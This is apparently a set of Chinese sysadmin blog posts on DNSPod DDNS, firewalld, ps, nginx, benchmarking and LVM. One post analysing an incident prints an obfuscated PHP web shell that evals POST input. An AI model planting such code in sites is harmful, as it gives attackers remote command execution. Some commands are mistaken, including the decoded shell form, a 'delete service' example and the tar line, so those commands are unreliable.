先附上脚本地址 https://github.com/frostnotfall/DNSPodDdns

==================================================

目前联通已可获得ipv6地址,遂将原荒野无灯基于 anrip 的脚本添加了ipv6的动态解析支持
荒野无灯原帖:http://koolshare.cn/thread-37553-1-1.html

主要做了以下几点修改:
1. arNslookup (查询域名已解析的IP地址 )修改为 dnspod api post方式
2. 梅林固件重启后不会立刻获取到公网 ipv6 地址,当脚本检测不到 ipv6 地址时会等待 5 分钟后重新获取,还是没有则继续等待 5 分钟 ,以此类推,期间梅林控制台页面会显示叹号,但此时 ipv4 动态解析已经可用
3. 域名,二级域名 的传入参数作为全局变量使用,相关函数的传入参数做了简化

使用此脚本,需:
1.指定 arToken ,Token请去 https://www.dnspod.cn/console/user/security 获取
2.指定 arDdnsCheck “域名” “二级域名(可为空)” 如:
arDdnsCheck “baidu.com” “”  会动态解析 baidu.com 域名
arDdnsCheck “baidu.com” “www”  会动态解析 www.baidu.com 域名
3.因为 ipv4 与 ipv6 使用不同的recordID,使用脚本前先在 dnspod 官方控制台页面添加该域名(或二级域名)的 AAAA 记录,以生成 ipv6 的recordID

提醒:一般用作动态解析的域名,不会做 dns 负载均衡,所以为避免可能出现的问题,尽量只保持一个A记录和一个AAAA记录,避免解析错误,当然CNAME或NS等其他不受影响

iptables现如今非常流行,使用范围也非常广泛,一般用途的防火墙,以iptables的端口转发和IP伪装为基础开发的LVS负载均衡;以NAT为基础的路由器网关等等。
但是,iptables却不是没有缺点的,大量的iptables规则会拖慢速度,更改一个规则可能需要重载所有的规则,于是便有了nf-HiPAC和ipset,保证效率

另外,iptables 也不能算得上是一款现代意义上的防火墙,设计之初并没有考虑不同的场景下需要加载不同的规则,比如公共场所,家里,和办公室等,

相比之下,类似的概念从 win7 时代的防火墙就有了,(win7的正式发布时间是2009年)

firewalld,考虑到了 iptables 这些问题,整合了iptables、ip6tables、ipset,加入了区域的概念,使其成为了一款现代意义上的防火墙。

但是,firewalld 并不属于新一代防火墙,只能算是 iptables 的衍生品,因为其核心仍旧基于iptables。真正的下一代防火墙是 nftables,关于 nftables 超出了本文的内容,略过不谈。

 

firewalld有图形化的的 firewall-config 工具,也有命令行工具 firewall-cmd。

firewalld 是动态防火墙,而非静态的。改变防火墙规则后,所有部分并不需要都重新加载。提供临时和永久两种状态,临时状态即刻生效,永久状态需重载防火墙,实际上是重新加载改变的部分,这也是动态防火墙的由来。

firewalld引入了区域和服务的概念,区域是为了应对不同的场景,服务是为了便于直观的理解

区域分为以下几种:

drop(丢弃)
任何接收的网络数据包都被丢弃,没有任何回复。仅能有发送出去的网络连接。
block(限制)
任何接收的网络连接都被 IPv4 的 icmp-host-prohibited 信息和 IPv6 的 icmp6-adm-prohibited 信息所拒绝。
public(公共)
在公共区域内使用,不能相信网络内的其他计算机不会对您的计算机造成危害,只能接收经过选取的连接。
external(外部)
特别是为路由器启用了伪装功能的外部网。您不能信任来自网络的其他计算,不能相信它们不会对您的计算机造成危害,只能接收经过选择的连接。
dmz(非军事区)
用于您的非军事区内的电脑,此区域内可公开访问,可以有限地进入您的内部网络,仅仅接收经过选择的连接。
work(工作)
用于工作区。您可以基本相信网络内的其他电脑不会危害您的电脑。仅仅接收经过选择的连接。
home(家庭)
用于家庭网络。您可以基本信任网络内的其他计算机不会危害您的计算机。仅仅接收经过选择的连接。
internal(内部)
用于内部网络。您可以基本上信任网络内的其他计算机不会威胁您的计算机。仅仅接受经过选择的连接。
trusted(信任)
可接受所有的网络连接。
firewalld 初始 默认区域为 public。
由于不同的区域概念,你可以预设每个区域的规则,开放的服务,端口等等,和 wifi 的 SSID 及有线的网络进行绑定。比如,你连上咖啡厅的wifi,或是家中的wifi,防火墙会自动切换为 public 或 home。相当方便。(使用 NetworkManager 可以实现,其它网络管理程序如 networkd 是否支持不太清楚)

 


#查看 firewalld 状态
firewall-cmd --state
#查看当前规则
firewall-cmd --list-all #这一项包含了以下四项
################################
#查看当前激活的区域
firewall-cmd --get-active-zones
#查看开放的端口
firewall-cmd --list-ports
#查看开放的服务
firewall-cmd --list-services
#查看当前的富规则
firewall-cmd --list-rich-rules
###############################

##########区域##########
#查看默认区域
firewall-cmd --get-default-zone
firewall-cmd --set-default-zone=public # 设置默认区域为public
#查看激活的区域
firewall-cmd --get-active-zones
#查看预定义的区域
firewall-cmd --get-zones
#查看网卡所在区域
firewall-cmd --get-zone-of-interface=eno33
#查看所有区域当前的状态
firewall-cmd --list-all-zones
#获取区域的target(同iptables的target)
firewall-cmd --get-target
firewall-cmd --set-target=ACCEPT|DROP|REJECT
#查看指定区域的状态
firewall-cmd --info-zone=public
#为网卡指定区域
firewall-cmd --zone=trusted --add-interface=eno33
firewall-cmd --zone=public --add-interface=eno33
#改变网卡的所属区域
firewall-cmd --zone=home --change-interface=eno33


##########添加端口##########
firewall-cmd --zone=public --add-port=80/tcp --permanent
firewall-cmd --permanent --zone=public --add-port=100-500/tcp --permanent
#查询端口是否被加入到当前规则
firewall-cmd --query-port=100-500/tcp --permanent
#删除端口
firewall-cmd --zone=public --remove-port=3306/tcp --permanent
firewall-cmd --zone=public --remove-port=100-500/tcp --permanent


##########服务##########
#查看当前区域启用的服务
firewall-cmd --list-services
#查看预定义的服务
firewall-cmd --get-services
#添加服务
firewall-cmd --add-service=http
# 查看http是否属于默认区域
firewall-cmd --query-service=http
#删除服务
firewall-cmd --query-service=ssh


##########富规则##########
#列出富规则
firewall-cmd --list-rich-rules
#添加富规则
firewall-cmd --zone=public --permanent --add-rich-rule="rule family="ipv4" source address="114.114.114.0/28" accept" #为 114.114.114.0/28 开放全部端口
firewall-cmd --zone=public --permanent --add-rich-rule="rule family="ipv4" source address="114.114.114.114" port port="80" protocol="tcp" accept" # 为指定IP开放指定端口,指定协议为TCP
#删除富规则
firewall-cmd --zone=public --permanent --remove-rich-rule="rule family="ipv4" source address="114.114.114.0/28" accept"
#查询富规则
firewall-cmd --zone=public --permanent --query-rich-rule="rule family="ipv4" source address="114.114.114.0/28" accept"


##########重启##########
firewall-cmd --reload
firewall-cmd --complete-reload #彻底重启(丢掉现有连接)

##########其它实用规则##########
#防暴力破解
firewall-cmd --permanent --direct --add-rule ipv4 filter INPUT_direct 0 -p tcp --dport 22 -m state --state NEW -m recent --set
firewall-cmd --permanent --direct --add-rule ipv4 filter INPUT_direct 1 -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 30 --hitcount 4 -j REJECT --reject-with tcp-reset
firewall-cmd --reload

 

相关链接:https://access.redhat.com/documentation/zh-cn/red_hat_enterprise_linux/7/html/security_guide/sec-using_firewalls#sec-Introduction_to_firewalld

首先建立随机文件


#!/bin/bash

for i in {1..10000}
do
touch $(head -1 /dev/urandom | md5sum | cut -d ' ' -f 1).qas
done

1.rename

这里使用rename

rename 's/\.qas$/\.qwer' *.qas

效率最高,执行命令后,一万个文件几乎没有延迟,瞬间完成
使用time命令检测耗时:

rename 's/\.qas$/\.qwer/' *.qas 0.10s user 0.10s system 99% cpu 0.198 total

2.find命令

find . -type f -name "*.qas" | sed 's/.qas//g' | xargs -i mv {}.qas {}.qwer

耗时:


find . -type f -name "*.qas" 0.02s user 0.02s system 0% cpu 6.509 total
sed 's/.qas//g' 0.02s user 0.00s system 0% cpu 8.484 total
xargs -i mv {}.qas {}.qwer 7.69s user 2.40s system 99% cpu 10.157 total

3.shell脚本


#!/bin/bash

for i in $(ls -1)
do
first_name=$(echo $i | cut -d '.' -f 1)
last_name=$(echo $i | cut -d '.' -f 2)
if [[ $last_name == "qas" ]]
then
mv ${first_name}.qas ${first_name}.qwer
fi
done

耗时:

./changename.sh 28.95s user 5.73s system 115% cpu 30.017 total

ps命令大概是最常用的linux命令之一了,但是却是最容易忽略的命令。

PS中有许多已知的误解

PS命令有三种风格:

UNIX 风格,选项可以组合在一起,并且选项前必须有“-”连字符。最常见。

BSD 风格,选项可以组合在一起,但是选项前不能有“-”连字符。

GNU 风格的长选项,选项前有两个“-”连字符。

最常见的认知大概是 ps -aux 了

a,u,x 是BSD风格的参数,前面不加 “-” ,在CentOS 6 系统中,如果观察仔细,输出中第一行会有一行提示:“Warning: bad syntax, perhaps a bogus ‘-‘? See /usr/share/doc/procps-3.2.8/FAQ”

但在CentOS 7 中,这行提示被取消了,大概是放弃治疗了吧。

另外一个就是ps命令的 “-o”参数,这个参数可以指定我们需要的任何格式的输出,将重点记录

 

BSD风格参数

a 显示所有有终端的进程的信息(通常仅显示用户自己的进程)。
c 显示命令名,它存储在系统内用于记帐,而不显示保留在进程地址空间中的命令参数。
e 显示环境以及传递给命令的参数,最多不超过 80 个字符。
ew 从 e 标志折行显示一额外行。
eww 从 e 标志折行显示必要次。
g 显示所有进程。
l 显示一个长列表,具有 FSUIDPIDPPIDCPRINIADDRSZPSSWCHANTTYTIME 和 CMD 字段。
n 显示数字输出。在长列表中,数字地而不是符号地打印 WCHAN 字段。在用户列表中,USER字段替换为 UID 字段。
s 显示基本输出格式中每个进程(由系统维护人员使用)的内核栈的大小(SSIZ)。对于多线程进程,该值总为 0(零)。
t Tty 显示进程,它的控制 tty 为 Tty 变量的值,它应该指定为 ps 命令打印;也就是,0 对于终端 /dev/tty/0lft0 对于 /dev/lft0 及 pts/2 对于 /dev/pts/2
u 显示面向用户的输出。这包括 USERPID%CPU%MEMSZRSSTTYSTATSTIMETIME和 COMMAND 字段。
v 显示 PGINSIZERSSLIMTSIZTRS%CPU 和 %MEM 字段。
w 为输出指定一宽列格式(132 列而不是 80 列)。如果重复,(例如, ww),任意地使用宽输出。此信息用于决定要打印的长命令有多少。
x 显示没有终端的进程除了有一个控制终端的进程。

 

UNIX风格参数


-A 将关于所有进程的信息写到标准输出。
-a 将关于所有进程(除了会话导带和与终端无关的进程)的信息写到标准输出。
-c Clist 仅显示关于 Clist 变量列出的指定到工作负荷管理类的进程的信息。 Clist 变量或者是一个由逗号分开的类名列表或者是一个由双引号(" ")引起来的且之间用逗号或一个或多个空格或两者分隔的类名列表。
-d 将关于所有进程(除会话导带)的信息写到标准输出。
-e 将除内核进程以外所有进程的信息写到标准输出。
-F Format 与 -o Format 相同
-f 生成一个完整列表。
-G Glist 仅将关于进程的信息写到标准输出,这些进程在为 Glist 变量列出的进程组中。 Glist 变量或者是一个由逗号分隔的进程组标识符列表或者是一个由双引号(" ")引起来的且之间用逗号或一个或多个空格或两者分隔的进程组标识符的列表。该标志与 -g Glist 标志等价。
-g Glist 该标志与 -G Glist 标志等价。
-k 列出内核进程。
-l 生成一长列表。另见 l 标志。
-m 列出内核线程和进程。进程的输出行后面跟着一额外输出行,它关于每个内核线程。该标志不显示特定于线程的字段(bnd、scount、sched、 thcount 和 tid),除非指定了适当的 -o Format 标志。
-N 不聚集线程统计信息。使用该标志后,ps 报告那些可以通过不遍历进程的线程链来获得那些统计信息。
-n NameList 指定备用系统名称列表文件来替换缺省系统名称列表文件。因为直接提供信息给内核,操作系统不使用 -n 标志。
-o Format 以 Format 变量指定的格式显示信息。可以为 Format 变量指定多个字段说明符。Format 变量或者是一个由逗号分隔的字段说明符列表或是一个由“”(双引号)引起来的之间用逗号或一个或多个空格或两者分隔的说明符列表。
每个字段说明符有一个缺省头。通过为头附加一个=(等号),后跟用户定义的文本,可以覆盖缺省头。写字段的顺序采用命令行中列格式指定的方式。字段宽度由系统指定,它至少为缺省的或用户定义的头文本宽度。如果头文本为空,(例如如果指定 -o user=),字段宽度至少为缺省头文本宽度。如果所有头字段都为空,不写头行。

系统标识下列字段说明符:

args 说明正在执行的完整命令名。包含所有命令行参数,尽管可能发生截断。该字段的缺省头为 COMMAND。
bnd 表示进程或内核线程绑定到哪个(如果有)处理器。该字段的缺省头为 BND。
class 表示为该进程分配的工作负荷管理类。该字段的缺省头为 CLASS。
comm 表示正在执行的命令的短名称。不包含命令行参数。该字段的缺省头为 COMMAND。
cpu 确定进程调度优先级。每次系统时钟周期和发现进程或线程运行时增加进程或线程的 CPU 利用率。调度程序通过每秒除 2 将该值衰减。对于 sched_other 策略,大值表示一个 CPU 密集处理且造成更低的进程优先级而小值表示一个 I/O 密集处理且造成更高的优先级。
etime 表示进程启动后所用的时间。所用时间以下列格式显示:[[ dd-]hh:]mm:ss 其中 dd 指定天数,hh 指定小时数,mm 指定分钟数及 ss 指定秒数。该字段的缺省头为 ELAPSED。
group 表示该进程的有效组标识。显示文本组标识。如果不能得到文本组标识,使用十进制表示。该字段的缺省头为 GROUP。
nice 表示进程细调值的十进制值。该字段的缺省头为 NI。
pcpu 表示使用的 CPU 时间占可用 CPU 时间的比例,以百分比表示。该字段的缺省头为 %CPU。
pgid 表示进程组标识的十进制值。该字段的缺省头为 PGID。
pid 表示进程标识的十进制值。该字段的缺省头为 PID。
ppid 表示父进程标识的十进制值。该字段的缺省头为 PPID。
rgroup 表示该进程的实际组标识。显示文本组标识。如果不能得到文本组标识,使用十进制表示。该字段的缺省头为 RGROUP。
ruser 表示该进程的实际用户标识。显示文本用户标识。如果不能得到文本用户标识,使用十进制表示。该字段的缺省头为 RUSER。
scount 表示内核线程的暂挂数。该字段的缺省头为 SC。
sched 表示内核线程的调度策略。该字段的缺省头为 SCH。
tag 表示工作负荷管理器应用程序标记。该字段的缺省头为 TAG。该标记为一个字符串,它不超过 30 个字符长且由 ps 显示时可能会截断。对于不设置标记的进程,该字段显示为一个 -(连字符)。
tcpu 总 CPU 时间。指示单个进程的总累积 CPU 时间。该字段的缺省头为 TCPU。
tctime 总连接时间。指示登录会话可会活动时的时间总量。这仅在会话引导进程中才有意义。该字段的缺省头为 TCTIME。
tdiskio 总磁盘 I/O。指示单个进程的 I/O 的总累积块数。该字段的缺省头为 TDISKIO。
thcount 表示该进程拥有的内核线程数。该字段的缺省头为 THCNT。

THREAD 表示下列字段:
用户名(uname 字段)
进程的进程及父进程标识(pid 和 ppid 字段)
线程的内核线程标识(tid 字段)
进程或内核线程的状态(S 字段)
进程或内核线程的 CPU 利用率(C 字段)
进程或内核线程的优先级(PRI 字段)
进程或内核线程的暂挂数( scount 字段)
进程或内核线程的等待通道( WCHAN 字段)
进程或内核线程的标志(F 字段)
进程的控制终端(tty 字段)
进程或内核线程绑定到的 CPU (bnd 字段)
正在由进程执行的命令(comm 字段)
使用 -o THREAD 标志实际上不显示线程,除非也指定 -m 标志。

tid 表示内核线程的线程标识。该字段的缺省头为 TID。
time 表示进程启动后的累计 CPU 时间。时间以下列格式显示:[ dd-]hh:mm:ss 其中 dd 指定天数,hh 指定小时数,mm 指定分钟数及 ss 指定秒数。该字段的缺省头为 TIME。
tty 表示该进程的控制终端名。该字段的缺省头为 TT。
user 表示该进程的有效用户标识。显示文本用户标识。如果不能得到文本用户标识,使用十进制表示。该字段的缺省头为 USER。
vsz 使用十进制整数表示虚拟内存中进程的大小,以千字节为单位。该字段的缺省头为 VSZ。

总结:
字段 字段 缺省值
描述符 说明符 头

%a args COMMAND
%c comm COMMAND
%t etime ELAPSED
%G group GROUP
%n nice NI
%C pcpu %CPU
%r pgid PGID
%p pid PID
%P ppid PPID
%g rgroup RGROUP
%u ruser RUSER
%x time TIME
%y tty TTY
%U user USER
%z vsz VSZ

1.首页跳转:

rewrite "^/$" https://www.frost.net.cn/wprdpress/index break;

2.请求跳转

rewrite ^(.*)$ https://$host$1 permanent

3.添加单个例外(不能与2同时使用)

if ($request_uri !~* .*/upload/resource ) {
return 301 https://$server_name$request_uri;
}

4.添加多个例外(不能与2同时使用)

set $a 0;
if ($request_uri ~* .*/upload/resource ) {
 set $a 1;
}
if ($request_uri ~* /abc/abc ) {
 set $a 1;
}
if ( $a = 0 ){
 return 301 https://$server_name$request_uri;
}

linux下的性能测试工具很多,每个拉来都能说上半天,功能繁多,细节丰富,但是常规的测试工具大都安装都很繁琐,使用起来也不方便,下面说一下我经常使用的工具。

我常用的测试工具安装极为简便,使用起来也比较方便

CPU:

我经常使用的CPU测试工具是sysbench

ubuntu:

apt install sysbench

CentOS:该软件包含在epel中

yum install -y epel-release ; yum install -y sysbench

使用方法也很简单:

#默认测试单线程性能
sysbench --test=cpu run
#指定多线程
sysbench --test=cpu --num-threads=4 run

附上几种CPU性能的数据,用来对比

cpu型号
i7-6700 CPU @ 3.40GHz
vmware虚拟机分配4核
E3-1245 V2 @ 3.40GHz
ESXI虚拟机 分配4核
E5-2682 v4 @ 2.50GHz(阿里云)
单核心
E5-2620 v2 @ 2.10GHz
4核8线程
单线程
8.7576s
8.9220s
10.0012s
10.0010s

硬盘IO:

工具:hdparm

Ubuntu:

apt install -y hdparm

CentOS:

yum install -y hdparm

使用方法:

hdparm -t /dev/sda1

具体磁盘名称请使用fdisk -l查看

附上不同硬盘的测试数据

cpu型号
i7-6700 CPU
vmware虚拟机
机械硬盘 ST2000DM003
E3-1245 V2
ESXI虚拟机
SSD 三星 750EVO 120GB
阿里云SSD
E5-2620 v2
SAS RAID 1 300GB
速度
77.92 MB/sec
386.65 MB/sec
34.45 MB/sec
561.36 MB/sec

#!/bin/bash
 #设置日志文件存放目录
 logs_path="/var/log/nginx/"
 #设置pid文件
 pid_path="/var/run/nginx.pid"

new_logfile_name=${logs_path}access_$(date -d "yesterday" +"%Y%m%d")

#重命名日志文件
 mv ${logs_path}access.log ${new_logfile_name}.log

#向nginx主进程发信号重新打开日志
 kill -USR1 `cat ${pid_path}`

#压缩文件
 tar -zcf ${new_logfile_name}.tar.gz -C ${new_logfile_name}.log
 #删除文件
 rm -f ${new_logfile_name}.log

日前生产环境爆出图片木马,于是拿下来解析了一下

首先图片木马不是图片,实际是已常见图片格式为后缀的代码文件,拿到图片木马后,使用文本编辑器打开,发现是这一段代码:

<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84). $_uU(91).$_uU(49).$_uU(93).$_uU(41). $_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> 

通过查询ASCII码对照表,最终可阅读的形式为:

<?@create_function("",eval.l(PORT[1]))?>

嗯,eval注入攻击

但是生产环境是java运行环境,不是php。。。

这两天重做系统,组了RAID 1,安装系统时自动分配的,过后发现root分区分的太小被占满了,正打算考虑重装系统,重新分区时,看到系统使用的LVM分区,直接无损调整分区,这可方便多了。

相关命令
lvs,vgs,lvdisplayer,vgdisplayer,lvextend

操作:
1、查看容量


root@FIF-VM1-CentOS7:~# fdisk -l

磁盘 /dev/sda:285.7 GB, 285701224448 字节,558010204 个扇区
Units = 扇区 of 1 * 512 = 512 bytes
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节
磁盘标签类型:dos
磁盘标识符:0x000d1200

设备 Boot Start End Blocks Id System
/dev/sda1 * 2048 2099199 1048576 83 Linux
/dev/sda2 2099200 558008319 277954560 8e Linux LVM

磁盘 /dev/mapper/centos-root:53.7 GB, 53687091200 字节,104857600 个扇区
Units = 扇区 of 1 * 512 = 512 bytes
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节


磁盘 /dev/mapper/centos-swap:8455 MB, 8455716864 字节,16515072 个扇区
Units = 扇区 of 1 * 512 = 512 bytes
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节


磁盘 /dev/mapper/centos-home:222.5 GB, 222474272768 字节,434520064 个扇区
Units = 扇区 of 1 * 512 = 512 bytes
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节

可以看到centos-root分区只有53.7GB,而centos-home分区却很大,接下来就是删除centos-home分区,然后把省出来的空间分给centos-root分区

2、删除centos-home

lvremove /dev/mapper/centos-home

3、扩容LV

lvextend -L +222G /dev/mapper/centos-root

4、系统刷新分区大小

xfs_growfs /dev/mapper/centos-root